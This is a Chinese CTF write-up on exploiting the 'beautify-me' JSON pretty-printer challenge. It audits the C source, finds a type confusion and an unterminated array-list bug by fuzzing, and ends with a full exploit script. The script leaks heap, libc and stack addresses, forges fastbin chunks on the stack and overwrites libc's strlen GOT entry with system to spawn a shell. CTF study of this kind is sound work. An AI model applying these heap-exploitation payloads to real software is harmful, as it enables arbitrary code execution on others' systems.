厌倦国内比赛一上来给一个裸的洞或者说一些极端情形的利用.
Pwn还是要建立在应用下才有意思啊.
漏洞分析
程序是一个json美化器.

程序流程主要分解析和输出两部分.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| int main () { json_t *obj; char buf[0x1000];
setvbuf(stdin, NULL, _IOLBF, 0); setvbuf(stdout, NULL, _IOFBF, 0); while (1) { printf("> "); fflush(stdout); if (fgets(buf, sizeof(buf), stdin) == NULL) exit(-1); if (parse_value(buf, &obj) == NULL) { printf("Invalid JSON!\n"); continue; } print_value(obj, 0); printf("\n"); free_value(obj); } }
|
解析过程主要是以递归+dispatch的形式进行(解析json的惯用方法).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| char *parse_value (char *s, json_t **out) { s = skip_whitespace(s);
if (*s == '{') { return parse_object(++s, out); } else if (*s == '[') { return parse_array(++s, out); } else if (*s == '"') { char *end = strchr(++s, '"'); if (end == NULL) return NULL; json_t *data = malloc(sizeof(json_t)); data->type = T_STRING; data->string = strndup(s, end-s); *out = data; return end+1; } else if (*s == 't' || *s == 'f') { return parse_bool(s, out); } else if (*s == 'n') { if (strncmp(s, "null", 4) == 0) { json_t *data = malloc(sizeof(json_t)); if (data == NULL) return NULL; data->type = T_NULL; *out = data; return s+4; } } else if (isdigit(*s) || *s == '-') { return parse_number(s, out); }
return NULL; }
|
从头文件中可以看出数据结构的组织方式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| typedef enum type_t { T_NULL, T_BOOL, T_INT, T_FLOAT, T_STRING, T_ARRAY, T_OBJECT, } type_t;
typedef struct Object object_t; typedef struct Array array_t; typedef struct Json json_t;
typedef struct Object { object_t *next; json_t *key, *value; } object_t;
typedef struct Array { array_t *next; json_t *value; } array_t;
typedef struct Json { union { object_t *object; array_t *array; char *string; char boolean; long nint; double nfloat; }; type_t type; } json_t;
|
先看object的解析方式, 可以发现一个问题是解析key的过程是调用的parse_value, 这意味着key可以是任何类型.先记住这一点, 待审完大体逻辑再回头分析.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| char *parse_object (char *s, json_t **out) { json_t *data = malloc(sizeof(json_t)); if (data == NULL) return NULL; data->type = T_OBJECT;
s = skip_whitespace(s);
if (*s == '}') { data->object = NULL; *out = data; return ++s; }
s = parse_object_element(s, &data->object); if (s == NULL) { free(data); return NULL; } *out = data; return s; }
char *parse_object_element (char *s, object_t **out) { object_t *elem = malloc(sizeof(object_t)); if (elem == NULL) return NULL;
s = parse_value(s, &elem->key); if (s == NULL) { free(elem); return NULL; }
s = skip_whitespace(s);
if (*s != ':') { free_value(elem->key); free(elem); return NULL; }
s = skip_whitespace(++s);
s = parse_value(s, &elem->value); if (s == NULL) { free_value(elem->key); free(elem); return NULL; } s = skip_whitespace(s);
if (*s == '}') { elem->next = NULL; *out = elem; return ++s; } if (*s == ',') { s = skip_whitespace(++s); s = parse_object_element(s, &elem->next); if (s == NULL) { free_value(elem->key); free_value(elem->value); free(elem); return NULL; } *out = elem; return s; } return NULL; }
|
再看数组的解析方式, 并没有审出什么问题.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| char *parse_array (char *s, json_t **out) { json_t *data = malloc(sizeof(json_t)); if (data == NULL) return NULL; data->type = T_ARRAY;
s = skip_whitespace(s);
if (*s == ']') { data->array = NULL; *out = data; return ++s; }
s = parse_array_element(s, &data->array); if (s == NULL) { free(data); return NULL; } *out = data; return s; }
char *parse_array_element (char *s, array_t **out) { array_t *elem = malloc(sizeof(array_t)); if (elem == NULL) return NULL; s = parse_value(s, &elem->value); if (s == NULL) { free(elem); return NULL; }
s = skip_whitespace(s);
if (*s == ']') { elem->next = NULL; *out = elem; return ++s; } if (*s == ',') { s = skip_whitespace(++s); s = parse_array_element(s, &elem->next); if (s == NULL) { free_value(elem->value); free(elem); return NULL; } } *out = elem; return s; }
|
其他类型的结构和解析方式比较简单, 也没有审出什么问题, 这里不展开了.
再看输出的过程, 发现输出object类型的key时是直接使用的printf(“"%s": “, curr->key->string);. 默认key为string对象.
这个类型混淆漏洞给了我们泄露+任意读的能力.
泄露: 将array混淆为string输出, 泄露出object->next.
任意读: 将INT混淆为string输出, 可以读出INT作为指针指向的数据.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| void print_value (json_t *data, int indent) { switch (data->type) { case T_NULL: printf("null"); break; case T_BOOL: printf(data->boolean ? "true" : "false"); break; case T_INT: printf("%ld", data->nint); break; case T_FLOAT: printf("%lf", data->nfloat); break; case T_STRING: printf("\"%s\"", data->string); break; case T_ARRAY: { array_t *curr = data->array; if (curr == NULL) { printf("[]"); break; } printf("[\n"); while (curr) { for (int i = 0; i < indent+4; i++) putchar(' '); print_value(curr->value, indent+4); curr = curr->next; if (curr) { printf(",\n"); } } putchar('\n'); for (int i = 0; i < indent; i++) putchar(' '); printf("]"); } break; case T_OBJECT: { object_t *curr = data->object; if (curr == NULL) { printf("{}"); break; } printf("{\n"); while (curr) { for (int i = 0; i < indent+4; i++) putchar(' '); printf("\"%s\": ", curr->key->string); print_value(curr->value, indent+4); curr = curr->next; if (curr) { printf(",\n"); } } putchar('\n'); for (int i = 0; i < indent; i++) putchar(' '); printf("}"); } break; default: printf("Invalid type!"); exit(-1); } }
|
但目前我们还没找到能破坏内存的漏洞, 再次审计无果后转向Fuzz. 文件格式解析的程序交给AFL即可.
最终得到以下结果:
1 2 3
| (178, ' AddressSanitizer: SEGV /home/znl/pwn/2024_ctf_all/Kalmar/beautify-me/main.c:237:39 in print_value', 'SESSION000:id:000000,sig:11,src:000001,time:54,execs:111,op:quick,pos:39') (34, ' AddressSanitizer: SEGV /home/znl/pwn/2024_ctf_all/Kalmar/beautify-me/main.c:285:38 in free_value', 'SESSION000:id:000007,sig:11,src:000001,time:7660,execs:15827,op:havoc,rep:6') (12, ' AddressSanitizer: SEGV ld-temp.o in __sanitizer::internal_strlen(char const*)', 'SESSION000:id:000030,sig:11,src:000190,time:68542,execs:140361,op:quick,pos:101')
|
来到崩溃点, 看到curr的值, 一眼看出这个奇怪的地址是Tcache Safe-Linking的产物, 初步判断是有一个UAF.

但查询bin发现并没有tcachebins, 再加上这是在遍历链表, 那么判断应该是有未初始化或者链表节点next域没置空的问题.

跟着Fuzz出的POC调一下, 找到漏洞点在 parse_array_element函数处理不完整数组的情况.
如果数组不以 ] 结尾, 则最后一个链表节点的next域不会被置空, 且返回了s而不是NULL, 意味着该错误不会被上层识别到.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| char *parse_array_element (char *s, array_t **out) { array_t *elem = malloc(sizeof(array_t)); if (elem == NULL) return NULL; s = parse_value(s, &elem->value); if (s == NULL) { free(elem); return NULL; }
s = skip_whitespace(s);
if (*s == ']') { elem->next = NULL; *out = elem; return ++s; } if (*s == ',') { s = skip_whitespace(++s); s = parse_array_element(s, &elem->next); if (s == NULL) { free_value(elem->value); free(elem); return NULL; } } *out = elem; return s; }
|
相近的函数parse_object_element的写法仍未清空next,但在对象不完整的情况下会返回NULL而被上层处理,不存在问题.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| char *parse_object_element (char *s, object_t **out) { object_t *elem = malloc(sizeof(object_t)); if (elem == NULL) return NULL;
s = parse_value(s, &elem->key); if (s == NULL) { free(elem); return NULL; }
s = skip_whitespace(s);
if (*s != ':') { free_value(elem->key); free(elem); return NULL; }
s = skip_whitespace(++s);
s = parse_value(s, &elem->value); if (s == NULL) { free_value(elem->key); free(elem); return NULL; } s = skip_whitespace(s);
if (*s == '}') { elem->next = NULL; *out = elem; return ++s; } if (*s == ',') { s = skip_whitespace(++s); s = parse_object_element(s, &elem->next); if (s == NULL) { free_value(elem->key); free_value(elem->value); free(elem); return NULL; } *out = elem; return s; } return NULL; }
|
简化一下POC:
第一行污染next字段.
第二行构造不完整数组.
利用分析
next指针未置空, 一般可以来构造任意写.
但分析一下会发现: elem来自malloc, 且array_t->next指针的位置与Tcache->next重合.
似乎意味着elem->next一定是一个Safe-Linking后的指针, 没办法直接使用也没办法像TSCTF2024-BuggyAllocator那样提前布置.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| char *parse_array_element (char *s, array_t **out) { array_t *elem = malloc(sizeof(array_t)); if (elem == NULL) return NULL; s = parse_value(s, &elem->value); if (s == NULL) { free(elem); return NULL; }
s = skip_whitespace(s);
if (*s == ']') { elem->next = NULL; *out = elem; return ++s; } if (*s == ',') { s = skip_whitespace(++s); s = parse_array_element(s, &elem->next); if (s == NULL) { free_value(elem->value); free(elem); return NULL; } } *out = elem; return s; }
|
但其实可以利用和topchunk合并的方式来避免布置的数据被next指针(或者说fd)覆盖.
1 2 3
| payload = b'' payload += b'"%s"\n' % (b'A'*0x410) payload += b'[ ""' + b'\n'
|

但查找对array->next的引用并加以分析, 发现我们唯一拥有的原语是每次解析输出后, 自顶而下释放资源时的任意地址释放.
至此完成泄露+任意读+任意地址释放原语的分析.
下面开始编写EXP.
先用array类型来混淆泄露出一个堆指针.
再用INT类型来混淆读出堆上残留的libc地址.
再次用INT类型来混淆读出libc中保存的栈地址.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| payload = b'' payload += b'[1,2]' + b'\n' payload += b'["%s" , "padding"]\n' % (b'A'*0x420) payload += b'{ [1,2] : 2} ' + b'\n'
sa('> ',payload) ru('padding"\n') r(11) heap_base = uu64()-0x1740 lg("heap_base:",heap_base)
payload = b'' payload += b'{ %ld : 2} ' % (heap_base+0x17a0) + b'\n' sa('> ',payload) p.leak_libc('libc_base',l64()-0x21ace0)
payload = b'' payload += b'{ %ld : 2} ' % (p.environ_addr) + b'\n' sa('> ',payload) stackbuf = l64()-0x1138 lg("stack:",stackbuf)
|
2.35下如何使用这个任意地址释放原语呢?
直观想法(其实是低版本用house of spirit打malloc_hook的经验)有两个: 一是有合法的size字段能使其正常释放, 二是对RCE有帮助.
2.35下的对齐检查使得难以通过字节错位来找到合适的size域, 而对RCE有帮助的一般是io_list_all, libc_got,和在堆上分配的File结构体.
本题中这些地方都找不到合适的size域.
于是还是回退到打堆管理器来转化成任意地址写: 伪造堆块放入tcache, 再更改next指针.
然而由于缺乏堆上的写原语(字符串向堆上拷贝时的00截断), 导致完成这一操作非常困难.
好在主循环中可以往栈上写入任意数据.
1 2 3 4 5
| char buf[0x1000]; while (1) { printf("> "); fflush(stdout); if (fgets(buf, sizeof(buf), stdin) == NULL) exit(-1);
|
于是伪造相关数据结构使得print_value和free_value时不会崩溃, 并最终使得两个栈上的伪堆块进入fastbin中.

至此基本利用分析完毕, 后面都是一些繁琐的调堆过程, 最终打libc中strlen的got表来getshell.
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
| payload = b'' payload += b'[1,2]' + b'\n' payload += b'["%s" , "padding"]\n' % (b'A'*0x420) payload += b'{ [1,2] : 2} ' + b'\n'
sa('> ',payload) ru('padding"\n') r(11)
heap_base = uu64()-0x1740 lg("heap_base:",heap_base)
payload = b'' payload += b'{ %ld : 2} ' % (heap_base+0x17a0) + b'\n' sa('> ',payload) p.leak_libc('libc_base',l64()-0x21ace0)
payload = b'' payload += b'{ %ld : 2} ' % (p.environ_addr) + b'\n' sa('> ',payload) stackbuf = l64()-0x1138 lg("stack:",stackbuf)
fake_chunk_addr = stackbuf+0xa10 pay2 = b'A'*0x410+p64(fake_chunk_addr)[:6] payload = b'' payload += b'[1,2,3,"%s","%s"]' % (b'A'*0x3C0,pay2) + b'\n'
sa('> ',payload)
payload = b'' payload += b'[1,2,3,"%s","%s",4,"" ' % (b'A'*0x3c0,b'A'*0x3C0) payload = payload.ljust(0x9f8,b'\x00')
payload += b'snowfall' fake_chunk = p64(0) fake_chunk += p64(0x21)
fake_chunk += p64(0) fake_chunk += p64(stackbuf+0xa30)
fake_chunk += p64(0) fake_chunk += p64(0x21)
fake_chunk += p64(0) fake_chunk += p64(0)
fake_chunk += p64(0) fake_chunk += p64(0x21) fake_chunk = fake_chunk.ljust(0x68,b'\x00')
payload += fake_chunk payload += b'\n'
sa('> ',payload)
payload = b'' payload += b'[1,2,3,4,5,6]' payload += b'\n' sa('> ',payload)
streln_got = p.libc_base+0x21a090 payload = b'' payload += b'["%s","%s"]' % (b'/bin/sh',b'a'*8+p64(p.system_addr)[:6]) payload = payload.ljust(0xa30,b'\x00') payload += p64(p.mangle(stackbuf+0xa20,streln_got)) payload += b'\n' sa('> ',payload)
io.interactive()
|